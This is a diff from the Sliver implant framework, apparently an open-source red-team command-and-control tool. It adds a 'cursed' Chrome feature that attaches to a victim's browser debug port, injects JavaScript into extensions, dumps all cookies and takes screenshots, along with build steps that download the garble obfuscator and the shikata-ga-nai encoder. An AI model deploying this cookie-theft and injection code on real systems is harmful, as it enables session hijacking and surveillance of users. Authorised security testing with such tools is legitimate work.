con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Task %s canceled\n", task.ID)
}
}
+2
View File
@@ -97,6 +97,8 @@ func prettyState(state string) string {
return console.Bold + console.Orange + state + console.Normal
case "completed":
return console.Bold + console.Green + state + console.Normal
case "canceled":
return console.Bold + console.Gray + state + console.Normal
default:
return state
}
+29
View File
@@ -216,6 +216,7 @@ func (con *SliverConsoleClient) EventLoop() {
shortID, session.Name, session.RemoteAddress, session.Hostname, session.OS, session.Arch, currentTime)
activeSession := con.ActiveTarget.GetSession()
core.GetTunnels().CloseForSession(session.ID)
core.CloseCursedProcesses(session.ID)
if activeSession != nil && activeSession.ID == session.ID {
con.ActiveTarget.Set(nil, nil)
con.PrintEventErrorf("Active session disconnected")
@@ -524,6 +525,34 @@ func (con *SliverConsoleClient) SpinUntil(message string, ctrl chan bool) {
go spin.Until(con.App.Stdout(), message, ctrl)
}
// FormatDateDelta - Generate formatted date string of the time delta between then and now
func (con *SliverConsoleClient) FormatDateDelta(t time.Time, includeDate bool, color bool) string {
nextTime := t.Format(time.UnixDate)
var interval string
if t.Before(time.Now()) {
if includeDate {
interval = fmt.Sprintf("%s (%s ago)", nextTime, time.Since(t).Round(time.Second))
} else {
interval = time.Since(t).Round(time.Second).String()
}
if color {
interval = fmt.Sprintf("%s%s%s", Bold+Red, interval, Normal)
}
} else {
if includeDate {
interval = fmt.Sprintf("%s (in %s)", nextTime, time.Until(t).Round(time.Second))
} else {
interval = time.Until(t).Round(time.Second).String()
}
if color {
interval = fmt.Sprintf("%s%s%s", Bold+Green, interval, Normal)
}
}
return interval
}
//
// -------------------------- [ Active Target ] --------------------------
//
+19 -2
View File
@@ -88,6 +88,12 @@ const (
// BeaconTaskResult - Beacon task completed with a result
BeaconTaskResultEvent = "beacon-taskresult"
// ExternalBuildEvent
ExternalBuildEvent = "external-build"
// WireGuardNewPeer - New Wireguard peer added
WireGuardNewPeer = "wireguard-newpeer"
)
// Commands
@@ -104,6 +110,7 @@ const (
ReconfigStr = "reconfig"
PruneStr = "prune"
TasksStr = "tasks"
CancelStr = "cancel"
GenerateStr = "generate"
RegenerateStr = "regenerate"
CompilerInfoStr = "info"
@@ -223,8 +230,9 @@ const (
InteractiveStr = "interactive"
CloseStr = "close"
PortfwdStr = "portfwd"
Socks5Str = "socks5"
PortfwdStr = "portfwd"
Socks5Str = "socks5"
RportfwdStr = "rportfwd"
ReactionStr = "reaction"
@@ -236,6 +244,15 @@ const (
GetPrivsStr = "getprivs"
PreludeOperatorStr = "prelude-operator"
ConnectStr = "connect"
ShikataGaNai = "shikata-ga-nai"
Cursed = "cursed"
CursedChrome = "chrome"
CursedConsole = "console"
CursedElectron = "electron"
CursedEdge = "edge"
CursedCookies = "cookies"
)
// Groups
+92
View File
@@ -0,0 +1,92 @@
package core
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"fmt"
"net/url"
"sync"
)
var (
// SessionID -> CursedProcess
CursedProcesses = &sync.Map{}
)
type CursedProcess struct {
SessionID string
PID uint32
BindTCPPort int
PortFwd *Portfwd
Platform string
ExePath string
ChromeUserDataDir string
}
func (c *CursedProcess) DebugURL() *url.URL {
return &url.URL{
Scheme: "http",
Host: fmt.Sprintf("localhost:%d", c.BindTCPPort),
Path: "/json",
}
}
func CursedProcessBySessionID(sessionID string) []*CursedProcess {
var cursedProcesses []*CursedProcess
CursedProcesses.Range(func(key, value interface{}) bool {
cursedProcess := value.(*CursedProcess)
if cursedProcess.SessionID == sessionID {
cursedProcesses = append(cursedProcesses, cursedProcess)
}
return true
})
return cursedProcesses
}
func CloseCursedProcesses(sessionID string) {
CursedProcesses.Range(func(key, value interface{}) bool {
cursedProcess := value.(*CursedProcess)
if cursedProcess.SessionID == sessionID {
defer func() {
value, loaded := CursedProcesses.LoadAndDelete(key)
if loaded {
curse := value.(*CursedProcess)
Portfwds.Remove(curse.PortFwd.ID)
}
}()
}
return true
})
}
func CloseCursedProcessesByBindPort(sessionID string, bindPort int) {
CursedProcesses.Range(func(key, value interface{}) bool {
cursedProcess := value.(*CursedProcess)
if cursedProcess.SessionID == sessionID && cursedProcess.BindTCPPort == bindPort {
defer func() {
value, loaded := CursedProcesses.LoadAndDelete(key)
if loaded {
curse := value.(*CursedProcess)
Portfwds.Remove(curse.PortFwd.ID)
}
}()
}
return true
})
}
+24
View File
@@ -85,6 +85,30 @@ POSSIBILITY OF SUCH DAMAGE.
======================================================================================================
MIT License
Copyright (c) 2019 Ege Balcı
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
======================================================================================================
BSD 3-Clause License
Copyright (c) 2018, b4rtik
+371
View File
@@ -0,0 +1,371 @@
package overlord
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"encoding/json"
"errors"
"fmt"
"io/ioutil"
"log"
"net/http"
"net/url"
"time"
"github.com/bishopfox/sliver/client/core"
"github.com/chromedp/cdproto/cdp"
"github.com/chromedp/cdproto/network"
"github.com/chromedp/cdproto/page"
"github.com/chromedp/cdproto/target"
"github.com/chromedp/chromedp"
)
const (
// AllURLs - All URLs permission
AllURLs = "<all_urls>"
// AllHTTP - All HTTP permission
AllHTTP = "http://*/*"
// AllHTTPS - All HTTP permission
AllHTTPS = "https://*/*"
// WebRequest - WebRequest permission
WebRequest = "webRequest"
// WebRequestBlocking - WebRequestBlocking permission
WebRequestBlocking = "webRequestBlocking"
// FetchManifestJS - Get extension manifest
FetchManifestJS = "(() => { return chrome.runtime.getManifest(); })()"
)
var (
// ErrTargetNotFound - Returned when a target cannot be found
ErrTargetNotFound = errors.New("Target not found")
)
// ManifestBackground - An extension manifest file
type ManifestBackground struct {
Scripts []string `json:"scripts"`
Persistent bool `json:"persistent"`
}
// Manifest - An extension manifest file
type Manifest struct {
Name string `json:"name"`
Version string `json:"version"`
Description string `json:"description"`
ManifestVersion int `json:"manifest_version"`
Permissions []string `json:"permissions"`
Background ManifestBackground `json:"background"`
}
// ChromeDebugTarget - A single debug context object
type ChromeDebugTarget struct {
Description string `json:"description"`
DevToolsFrontendURL string `json:"devtoolsFrontendUrl"`
ID string `json:"id"`
Title string `json:"title"`
Type string `json:"type"`
URL string `json:"url"`
WebSocketDebuggerURL string `json:"webSocketDebuggerUrl"`
}
var allocCtx context.Context
func getContextOptions(userHomeDir string, platform string) []func(*chromedp.ExecAllocator) {
opts := []func(*chromedp.ExecAllocator){
chromedp.Flag("restore-last-session", true),
chromedp.UserDataDir(userHomeDir),
}
switch platform {
case "darwin":
opts = append(opts,
chromedp.Flag("headless", false),
chromedp.Flag("use-mock-keychain", false),
)
default:
opts = append(opts, chromedp.Headless)
}
opts = append(chromedp.DefaultExecAllocatorOptions[:], opts...)
return opts
}
func GetChromeContext(webSocketURL string, curse *core.CursedProcess) (context.Context, context.CancelFunc, context.CancelFunc) {
var (
cancel context.CancelFunc
)
if webSocketURL != "" {
allocCtx, cancel = chromedp.NewRemoteAllocator(context.Background(), webSocketURL)
} else {
opts := getContextOptions(curse.ChromeUserDataDir, curse.Platform)
allocCtx, cancel = chromedp.NewExecAllocator(context.Background(), opts...)
}
taskCtx, taskCancel := chromedp.NewContext(allocCtx, chromedp.WithLogf(log.Printf))
return taskCtx, taskCancel, cancel
}
func findTargetInfoByID(ctx context.Context, targetID string) *target.Info {
targets, err := chromedp.Targets(ctx)
if err != nil {
return nil
}
for _, targetInfo := range targets {
if fmt.Sprintf("%s", targetInfo.TargetID) == targetID {
return targetInfo
}
}
return nil
}
func contains(haystack []string, needle string) bool {
set := make(map[string]struct{}, len(haystack))
for _, entry := range haystack {
set[entry] = struct{}{}
}
_, ok := set[needle]
return ok
}
func containsAll(haystack []string, needles []string) bool {
all := true
for _, needle := range needles {
if !contains(haystack, needle) {
all = false
break
}
}
return all
}
// ExecuteJS - injects a JavaScript code into a target
func ExecuteJS(ctx context.Context, string, targetID string, jsCode string) ([]byte, error) {
targetInfo := findTargetInfoByID(ctx, targetID)
if targetInfo == nil {
return nil, ErrTargetNotFound
}
extCtx, _ := chromedp.NewContext(ctx, chromedp.WithTargetID(targetInfo.TargetID))
var result []byte
evalTasks := chromedp.Tasks{
chromedp.Evaluate(jsCode, &result),
}
err := chromedp.Run(extCtx, evalTasks)
return result, err
}
// FindExtensionWithPermissions - Find an extension with a permission
func FindExtensionWithPermissions(curse *core.CursedProcess, permissions []string) (*ChromeDebugTarget, error) {
targets, err := QueryExtensionDebugTargets(curse.DebugURL().String())
if err != nil {
return nil, err
}
for _, target := range targets {
ctx, _, _ := GetChromeContext(target.WebSocketDebuggerURL, curse)
result, err := ExecuteJS(ctx, target.WebSocketDebuggerURL, target.ID, FetchManifestJS)
if err != nil {
continue
}
manifest := &Manifest{}
err = json.Unmarshal(result, manifest)
if err != nil {
continue
}
if containsAll(manifest.Permissions, permissions) {
return &target, nil
}
}
return nil, nil // No targets, no errors
}
// FindExtensionsWithPermissions - Find an extension with a permission
func FindExtensionsWithPermissions(curse *core.CursedProcess, permissions []string) ([]*ChromeDebugTarget, error) {
targets, err := QueryExtensionDebugTargets(curse.DebugURL().String())
if err != nil {
return nil, err
}
extensions := []*ChromeDebugTarget{}
for _, target := range targets {
ctx, _, _ := GetChromeContext(target.WebSocketDebuggerURL, curse)
result, err := ExecuteJS(ctx, target.WebSocketDebuggerURL, target.ID, FetchManifestJS)
if err != nil {
continue
}
manifest := &Manifest{}
err = json.Unmarshal(result, manifest)
if err != nil {
continue
}
if containsAll(manifest.Permissions, permissions) {
extensions = append(extensions, &target)
}
}
return extensions, nil
}
// QueryDebugTargets - Query debug listener using HTTP client
func QueryDebugTargets(debugURL string) ([]ChromeDebugTarget, error) {
resp, err := http.Get(debugURL)
if err != nil {
return nil, err
}
if resp.StatusCode != 200 {
return nil, errors.New("Non-200 status code")
}
data, err := ioutil.ReadAll(resp.Body)
if err != nil {
return nil, err
}
debugContexts := []ChromeDebugTarget{}
err = json.Unmarshal(data, &debugContexts)
return debugContexts, err
}
// QueryExtensionDebugTargets - Query debug listener using HTTP client for Extensions only
func QueryExtensionDebugTargets(debugURL string) ([]ChromeDebugTarget, error) {
resp, err := http.Get(debugURL)
if err != nil {
return nil, err
}
if resp.StatusCode != 200 {
return nil, errors.New("Non-200 status code")
}
data, err := ioutil.ReadAll(resp.Body)
if err != nil {
return nil, err
}
debugContexts := []ChromeDebugTarget{}
err = json.Unmarshal(data, &debugContexts)
if err != nil {
return nil, err
}
extensionContexts := []ChromeDebugTarget{}
for _, debugCtx := range debugContexts {
ctxURL, err := url.Parse(debugCtx.URL)
if err != nil {
continue
}
if ctxURL.Scheme == "chrome-extension" {
extensionContexts = append(extensionContexts, debugCtx)
}
}
return extensionContexts, nil
}
// DumpCookies - Dump all cookies from the remote debug target
func DumpCookies(curse *core.CursedProcess, webSocketURL string) ([]*network.Cookie, error) {
var cookies []*network.Cookie
var err error
dumpCookieTasks := chromedp.Tasks{
// read network values
chromedp.ActionFunc(func(ctx context.Context) error {
cookies, err = network.GetAllCookies().Do(ctx)
if err != nil {
return err
}
// for i, cookie := range cookies {
// log.Printf("chrome cookie %d: %+v", i, cookie)
// }
return nil
}),
}
taskCtx, taskCancel, cancel := GetChromeContext(webSocketURL, curse)
defer taskCancel()
defer cancel()
ctx, _ := chromedp.NewContext(taskCtx)
if err := chromedp.Run(ctx, dumpCookieTasks); err != nil {
return cookies, err
}
return cookies, nil
}
func SetCookie(curse *core.CursedProcess, webSocketURL string, host string, cookies ...string) (string, error) {
var res string
setCookieTasks := chromedp.Tasks{
chromedp.ActionFunc(func(ctx context.Context) error {
// create cookie expiration
expr := cdp.TimeSinceEpoch(time.Now().Add(180 * 24 * time.Hour))
// add cookies to chrome
for i := 0; i < len(cookies); i += 2 {
err := network.SetCookie(cookies[i], cookies[i+1]).
WithExpires(&expr).
WithDomain("localhost").
WithHTTPOnly(true).
Do(ctx)
if err != nil {
return err
}
}
return nil
}),
// navigate to site
// chromedp.Navigate(host),
// read the returned values
// chromedp.Text(`#result`, &res, chromedp.ByID, chromedp.NodeVisible),
}
taskCtx, taskCancel, cancel := GetChromeContext(webSocketURL, curse)
defer taskCancel()
defer cancel()
ctx, _ := chromedp.NewContext(taskCtx)
if err := chromedp.Run(ctx, setCookieTasks); err != nil {
return "", err
}
return res, nil
}
// Screenshot - Take a screenshot of a Chrome context
func Screenshot(curse *core.CursedProcess, webSocketURL string, targetID string, quality int64) ([]byte, error) {
var result []byte
screenshotTask := chromedp.Tasks{
chromedp.ActionFunc(func(ctx context.Context) error {
_, _, _, _, _, contentSize, err := page.GetLayoutMetrics().Do(ctx)
if err != nil {
return err
}
result, err = page.CaptureScreenshot().
WithQuality(quality).
WithClip(&page.Viewport{
X: contentSize.X,
Y: contentSize.Y,
Width: contentSize.Width,
Height: contentSize.Height,
Scale: 1,
}).Do(ctx)
if err != nil {
return err
}
return nil
}),
}
taskCtx, taskCancel, cancel := GetChromeContext(webSocketURL, curse)
defer taskCancel()
defer cancel()
targetInfo := findTargetInfoByID(taskCtx, targetID)
if targetInfo == nil {
return []byte{}, ErrTargetNotFound
}
ctx, _ := chromedp.NewContext(taskCtx, chromedp.WithTargetID(targetInfo.TargetID))
if err := chromedp.Run(ctx, screenshotTask); err != nil {
return nil, err
}
return result, nil
}
+1 -1
View File
@@ -14,7 +14,7 @@ GEM
execjs
coffee-script-source (1.11.1)
colorator (1.1.0)
commonmarker (0.23.4)
commonmarker (0.23.6)
concurrent-ruby (1.1.9)
dnsruby (1.61.9)
simpleidn (~> 0.1)
+29 -3
View File
@@ -20,12 +20,12 @@ set -e
# Creates the static go asset archives
GO_VER="1.18.5"
GARBLE_VER="1.18.0"
GO_VER="1.19.1"
GARBLE_VER="1.19.2"
SGN_VER="0.0.3"
GO_ARCH_1="amd64"
GO_ARCH_2="arm64"
GO_ARCH_3="386"
BLOAT_FILES="AUTHORS CONTRIBUTORS PATENTS VERSION favicon.ico robots.txt SECURITY.md CONTRIBUTING.md LICENSE README.md ./doc ./test ./api ./misc"
if ! [ -x "$(command -v curl)" ]; then
@@ -165,6 +165,32 @@ curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_1/garble https://github.com/
echo "curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_2/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_macos-$GO_ARCH_2"
curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_2/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_macos-$GO_ARCH_2
echo "-----------------------------------------------------------------"
echo " Shikata ga nai (ノ ゜Д゜)ノ ︵ 仕方がない"
echo "-----------------------------------------------------------------"
# Linux (amd64)
echo "curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_1/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_linux-$GO_ARCH_1.zip"
curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_1/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_linux-$GO_ARCH_1.zip
# Linux (arm64)
echo "curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_2/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_linux-$GO_ARCH_2.zip"
curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_2/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_linux-$GO_ARCH_2.zip
# Windows (amd64)
echo "curl -L --fail --output $OUTPUT_DIR/windows/$GO_ARCH_1/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_windows-$GO_ARCH_1.zip"
curl -L --fail --output $OUTPUT_DIR/windows/$GO_ARCH_1/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_windows-$GO_ARCH_1.zip
# MacOS (amd64)
echo "curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_1/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_macos-$GO_ARCH_1.zip"
curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_1/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_macos-$GO_ARCH_1.zip
# MacOS (arm64)
echo "curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_2/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_macos-$GO_ARCH_2.zip"
curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_2/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_macos-$GO_ARCH_2.zip
# end
echo -e "clean up: $WORK_DIR"
rm -rf $WORK_DIR
+53 -39
View File
@@ -1,53 +1,59 @@
module github.com/bishopfox/sliver
go 1.17
go 1.18
replace github.com/desertbit/grumble v1.1.1 => github.com/moloch--/grumble v1.1.6
require (
github.com/AlecAivazis/survey/v2 v2.2.2
github.com/AlecAivazis/survey/v2 v2.3.6
github.com/Binject/binjection v0.0.0-20200705191933-da1a50d7013d
github.com/Binject/debug v0.0.0-20210312092933-6277045c2fdf
github.com/Binject/go-donut v0.0.0-20210701074227-67a31e2d883e
github.com/Binject/universal v0.0.0-20210304094126-daefaa886313
github.com/alecthomas/chroma v0.8.1
github.com/cheggaaa/pb/v3 v3.0.5
github.com/Ne0nd0g/go-clr v1.0.2
github.com/alecthomas/chroma v0.10.0
github.com/cheggaaa/pb/v3 v3.1.0
github.com/chromedp/cdproto v0.0.0-20220827030233-358ed4af73cf
github.com/chromedp/chromedp v0.8.5
github.com/desertbit/columnize v2.1.0+incompatible
github.com/desertbit/go-shlex v0.1.1
github.com/desertbit/grumble v1.1.1
github.com/fatih/color v1.12.0
github.com/gofrs/uuid v3.3.0+incompatible
github.com/desertbit/readline v1.5.1
github.com/fatih/color v1.13.0
github.com/gofrs/uuid v4.3.0+incompatible
github.com/google/uuid v1.3.0
github.com/gorilla/mux v1.8.0
github.com/grpc-ecosystem/go-grpc-middleware v1.2.2
github.com/jedib0t/go-pretty/v6 v6.2.4
github.com/grpc-ecosystem/go-grpc-middleware v1.3.0
github.com/jedib0t/go-pretty/v6 v6.3.8
github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f
github.com/lesnuages/go-winio v0.4.19
github.com/lesnuages/snitch v0.6.0
github.com/mattn/go-sqlite3 v1.14.12
github.com/miekg/dns v1.1.35
github.com/mattn/go-sqlite3 v1.14.15
github.com/miekg/dns v1.1.50
github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945
github.com/onsi/ginkgo v1.16.5
github.com/onsi/gomega v1.20.2
github.com/pquerna/otp v1.3.0
github.com/shirou/gopsutil/v3 v3.21.10
github.com/sirupsen/logrus v1.8.1
github.com/spf13/cobra v1.1.1
github.com/stretchr/testify v1.7.0
github.com/shirou/gopsutil/v3 v3.22.8
github.com/sirupsen/logrus v1.9.0
github.com/spf13/cobra v1.5.0
github.com/stretchr/testify v1.8.0
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
golang.org/x/crypto v0.0.0-20220315160706-3147a52a75dd
golang.org/x/net v0.0.0-20220225172249-27dd8689420f
golang.org/x/sys v0.0.0-20220315194320-039c03cc5b86
golang.org/x/crypto v0.0.0-20220829220503-c86fa9a7ed90
golang.org/x/net v0.0.0-20220722155237-a158d28d115b
golang.org/x/sys v0.0.0-20220825204002-c680a09ffe64
golang.org/x/term v0.0.0-20210927222741-03fcf44c2211
golang.org/x/text v0.3.7
golang.zx2c4.com/wireguard v0.0.0-20220316235147-5aff28b14c24
golang.zx2c4.com/wireguard/wgctrl v0.0.0-20220208144051-fde48d68ee68
google.golang.org/grpc v1.42.0-dev.0.20211020220737-f00baa6c3c84
google.golang.org/protobuf v1.27.1
google.golang.org/protobuf v1.28.1
gopkg.in/AlecAivazis/survey.v1 v1.8.8
gorm.io/driver/mysql v1.0.3
gorm.io/driver/postgres v1.0.5
gorm.io/driver/sqlite v1.1.3
gorm.io/gorm v1.21.14
gvisor.dev/gvisor v0.0.0-20211020211948-f76a604701b6
gorm.io/driver/mysql v1.3.6
gorm.io/driver/postgres v1.3.10
gorm.io/driver/sqlite v1.3.6
gorm.io/gorm v1.23.9
gvisor.dev/gvisor v0.0.0-20220817001344-846276b3dbc5
modernc.org/sqlite v1.16.0
)
@@ -55,58 +61,66 @@ require (
github.com/Binject/shellcode v0.0.0-20191101084904-a8a90e7d4563 // indirect
github.com/BurntSushi/xgb v0.0.0-20201008132610-5f9e7b3c49cd // indirect
github.com/Microsoft/go-winio v0.5.1 // indirect
github.com/StackExchange/wmi v1.2.1 // indirect
github.com/VirusTotal/vt-go v0.0.0-20210528074736-45bbe34cc8ab // indirect
github.com/VividCortex/ewma v1.1.1 // indirect
github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0 // indirect
github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4 // indirect
github.com/boombuler/barcode v1.0.1-0.20190219062509-6c824513bacc // indirect
github.com/danwakefield/fnmatch v0.0.0-20160403171240-cbb64ac3d964 // indirect
github.com/chromedp/sysutil v1.0.0 // indirect
github.com/davecgh/go-spew v1.1.1 // indirect
github.com/demisto/goxforce v0.0.0-20160322194047-db8357535b1d // indirect
github.com/desertbit/closer/v3 v3.1.2 // indirect
github.com/desertbit/readline v1.5.1 // indirect
github.com/dlclark/regexp2 v1.2.0 // indirect
github.com/dlclark/regexp2 v1.4.0 // indirect
github.com/fsnotify/fsnotify v1.4.9 // indirect
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 // indirect
github.com/go-ole/go-ole v1.2.6 // indirect
github.com/go-sql-driver/mysql v1.5.0 // indirect
github.com/go-sql-driver/mysql v1.6.0 // indirect
github.com/gobwas/httphead v0.1.0 // indirect
github.com/gobwas/pool v0.2.1 // indirect
github.com/gobwas/ws v1.1.0 // indirect
github.com/golang/protobuf v1.5.2 // indirect
github.com/google/btree v1.0.1 // indirect
github.com/google/go-cmp v0.5.8 // indirect
github.com/hashicorp/errwrap v1.1.0 // indirect
github.com/hashicorp/go-multierror v1.1.1 // indirect
github.com/inconshreveable/mousetrap v1.0.0 // indirect
github.com/jackc/chunkreader/v2 v2.0.1 // indirect
github.com/jackc/pgconn v1.7.0 // indirect
github.com/jackc/pgconn v1.13.0 // indirect
github.com/jackc/pgio v1.0.0 // indirect
github.com/jackc/pgpassfile v1.0.0 // indirect
github.com/jackc/pgproto3/v2 v2.0.5 // indirect
github.com/jackc/pgproto3/v2 v2.3.1 // indirect
github.com/jackc/pgservicefile v0.0.0-20200714003250-2b9c44734f2b // indirect
github.com/jackc/pgtype v1.5.0 // indirect
github.com/jackc/pgx/v4 v4.9.0 // indirect
github.com/jackc/pgtype v1.12.0 // indirect
github.com/jackc/pgx/v4 v4.17.2 // indirect
github.com/jinzhu/inflection v1.0.0 // indirect
github.com/jinzhu/now v1.1.2 // indirect
github.com/jinzhu/now v1.1.5 // indirect
github.com/josharian/intern v1.0.0 // indirect
github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51 // indirect
github.com/lufia/plan9stats v0.0.0-20211012122336-39d0f177ccd0 // indirect
github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
github.com/mattn/go-colorable v0.1.8 // indirect
github.com/mattn/go-isatty v0.0.13 // indirect
github.com/mattn/go-runewidth v0.0.9 // indirect
github.com/mailru/easyjson v0.7.7 // indirect
github.com/mattn/go-colorable v0.1.9 // indirect
github.com/mattn/go-isatty v0.0.14 // indirect
github.com/mattn/go-runewidth v0.0.13 // indirect
github.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b // indirect
github.com/niemeyer/pretty v0.0.0-20200227124842-a10e7caefd8e // indirect
github.com/nxadm/tail v1.4.8 // indirect
github.com/pmezard/go-difflib v1.0.0 // indirect
github.com/power-devops/perfstat v0.0.0-20210106213030-5aafc221ea8c // indirect
github.com/remyoudompheng/bigfft v0.0.0-20200410134404-eec4a21b6bb0 // indirect
github.com/sergi/go-diff v1.1.0 // indirect
github.com/rivo/uniseg v0.2.0 // indirect
github.com/spf13/pflag v1.0.5 // indirect
github.com/thedevsaddam/gojsonq/v2 v2.5.2 // indirect
github.com/yusufpapurcu/wmi v1.2.2 // indirect
golang.org/x/mod v0.5.1 // indirect
golang.org/x/time v0.0.0-20210220033141-f8bda1e9f3ba // indirect
golang.org/x/tools v0.1.9 // indirect
golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 // indirect
golang.zx2c4.com/wintun v0.0.0-20211104114900-415007cec224 // indirect
google.golang.org/genproto v0.0.0-20210722135532-667f2b7c528f // indirect
google.golang.org/grpc/examples v0.0.0-20210910232509-03268c8ed29e // indirect
gopkg.in/check.v1 v1.0.0-20200902074654-038fdea0a05b // indirect
gopkg.in/yaml.v3 v3.0.0 // indirect
gopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7 // indirect
gopkg.in/yaml.v3 v3.0.1 // indirect
lukechampine.com/uint128 v1.1.1 // indirect
modernc.org/cc/v3 v3.35.24 // indirect
modernc.org/ccgo/v3 v3.15.18 // indirect
+172 -927
View File
File diff suppressed because it is too large. Load diff
+25 -9
View File
@@ -1,41 +1,57 @@
module github.com/bishopfox/sliver
go 1.17
go 1.18
require (
github.com/Binject/universal v0.0.0-20210304094126-daefaa886313
github.com/Ne0nd0g/go-clr v1.0.2
github.com/gofrs/uuid v4.0.0+incompatible
github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f
github.com/lesnuages/go-winio v0.4.19
github.com/miekg/dns v1.1.50
github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945
github.com/onsi/ginkgo v1.16.5
github.com/onsi/gomega v1.20.2
github.com/pquerna/otp v1.3.0
github.com/stretchr/testify v1.7.0
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
github.com/yiya1989/sshkrb5 v0.0.0-20201110125252-a1455b75a35e
golang.org/x/crypto v0.0.0-20220315160706-3147a52a75dd
golang.org/x/net v0.0.0-20220225172249-27dd8689420f
golang.org/x/sys v0.0.0-20220315194320-039c03cc5b86
golang.org/x/net v0.0.0-20220722155237-a158d28d115b
golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f
golang.zx2c4.com/wireguard v0.0.0-20220316235147-5aff28b14c24
google.golang.org/protobuf v1.26.0
gvisor.dev/gvisor v0.0.0-20211020211948-f76a604701b6
google.golang.org/protobuf v1.28.0
gvisor.dev/gvisor v0.0.0-20220817001344-846276b3dbc5
)
require (
github.com/Binject/debug v0.0.0-20210225042342-c9b8b45728d2 // indirect
github.com/BurntSushi/xgb v0.0.0-20210121224620-deaf085860bc // indirect
github.com/Microsoft/go-winio v0.5.0 // indirect
github.com/Microsoft/go-winio v0.5.1 // indirect
github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0 // indirect
github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4 // indirect
github.com/boombuler/barcode v1.0.1-0.20190219062509-6c824513bacc // indirect
github.com/davecgh/go-spew v1.1.1 // indirect
github.com/fsnotify/fsnotify v1.4.9 // indirect
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 // indirect
github.com/google/btree v1.0.1 // indirect
github.com/google/go-cmp v0.5.8 // indirect
github.com/hashicorp/go-uuid v1.0.2 // indirect
github.com/jcmturner/gofork v1.0.0 // indirect
github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
github.com/nxadm/tail v1.4.8 // indirect
github.com/pmezard/go-difflib v1.0.0 // indirect
golang.org/x/mod v0.4.2 // indirect
golang.org/x/mod v0.5.1 // indirect
golang.org/x/text v0.3.7 // indirect
golang.org/x/time v0.0.0-20191024005414-555d28b269f0 // indirect
golang.org/x/tools v0.1.7 // indirect
golang.org/x/tools v0.1.9 // indirect
golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 // indirect
golang.zx2c4.com/wintun v0.0.0-20211104114900-415007cec224 // indirect
